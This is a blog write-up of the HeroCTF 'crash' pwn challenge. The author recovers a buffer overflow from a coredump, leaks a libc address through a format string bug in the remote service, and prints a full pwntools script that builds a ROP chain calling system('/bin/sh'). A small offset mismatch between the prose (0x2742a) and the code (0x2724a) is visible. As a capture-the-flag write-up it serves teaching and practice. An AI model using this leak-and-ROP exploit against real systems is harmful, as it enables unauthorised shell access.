Ted's cave

Crawlthroughs and projects

View on GitHub
21 November 2024

HeroCTF

by

ted

crash #pwn


In this challenge we are given a coredump file and are tasked with reproducing the exploit to pwn the remote instance. I’ve seen a challenge like this once before in swamp ctf a few months ago but that one was much harder.

We can examine the coredump in gdb with gdb -core ./core

picture

Looks like a classic buffer overflow. However the function hasn’t returned yet so rip is not yet “AAAAAAAA”.

0x559a70f151b7    add byte ptr [rax], al

The program crashes in a loop adding the lowest byte of rax to the memory pointed to by rax.

We can take a look at the stack to see what the potential buffer size and overflow might be.

picture

If we dump all the instructions in the executable section of the binary into a file and look at it we will see it is filled with the same add byte ptr [rax], al instruction. This points to the fact that entire section is just null bytes and if this is the case we will not be able to figure out what any functions does.

Time for another plan,

If we run strings on the core file we can see a list of libc functions possibly used in the original binary.

picture

If we take a look at the remote instance we see our input is printed back to us,

➜ nc dyn04.heroctf.fr 10408
Name :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADescription :

We did see printf in the strings output so we can piece together a potential format string vulnerability if printf is called on our input.

➜ nc dyn04.heroctf.fr 10408
Name :
%p %p %p %p %p %p %p %p
0x1 0x1 0x7 0x1 (nil) 0x7fff12d7d698 0x7fff12d7d540 0x7fff12d7d580Description :

From here if we leak a libc address we can construct a full rop chain with libc addresses only.

picture

With %p we are essentially printing pointers on the stack, this means if we examine the stack of the coredump in gdb we should find the same libc address ending in 24a that we can use to calculate the base libc address.

picture

Now info proc mappings will show us the base libc address and we can calculate the offset to the base address from there.

picture

Therefore leak - 0x2742a will give us the base libc address. From here the exploit is trivial, we get all our gadgets from libc and construct a rop chain to exploit the buffer overflow in the 2nd input.

from pwn import *

context.terminal = ["tmux", "new-window"]

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())


# Binary filename
exe = './core'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
# context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================
libc = ELF('./libc.so.6', checksec=False) # docker cp <name>:/lib/x86_64-linux-gnu/libc.so.6 . to get the libc 
p = start()

p.sendline(b'%p ' * 20)
data = p.recvuntil(b'Description :')
libc_leak = data[240:252].decode()
libc_leak = bytes.fromhex(libc_leak)
libc_leak = int(libc_leak.hex(), 16)
print(f"libc = {hex(libc_leak)}")

libc.address = libc_leak - 0x2724a
bin_sh = next(libc.search(b"/bin/sh"))
system = libc.symbols['system']
pop_rdi = libc.address + 0x277e5
ret = libc.address + 0x26e99
print(f"binsh = {hex(bin_sh)}")
print(f"system = {hex(system)}")
print(f"pop rdi = {hex(pop_rdi)}")
print(f"libc ret = {hex(ret)}")

payload = b'A' * 40      # buffer is 32 bytes + 8 to overwrite rbp 
payload += p64(ret)      # ret gadget to align stack to 16 bytes 
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)

p.sendline(payload)

p.interactive()
$ cat flag.txt
Hero{d2d8c417232c1b8e0abc91b8a542e55259ebbac5}
tags: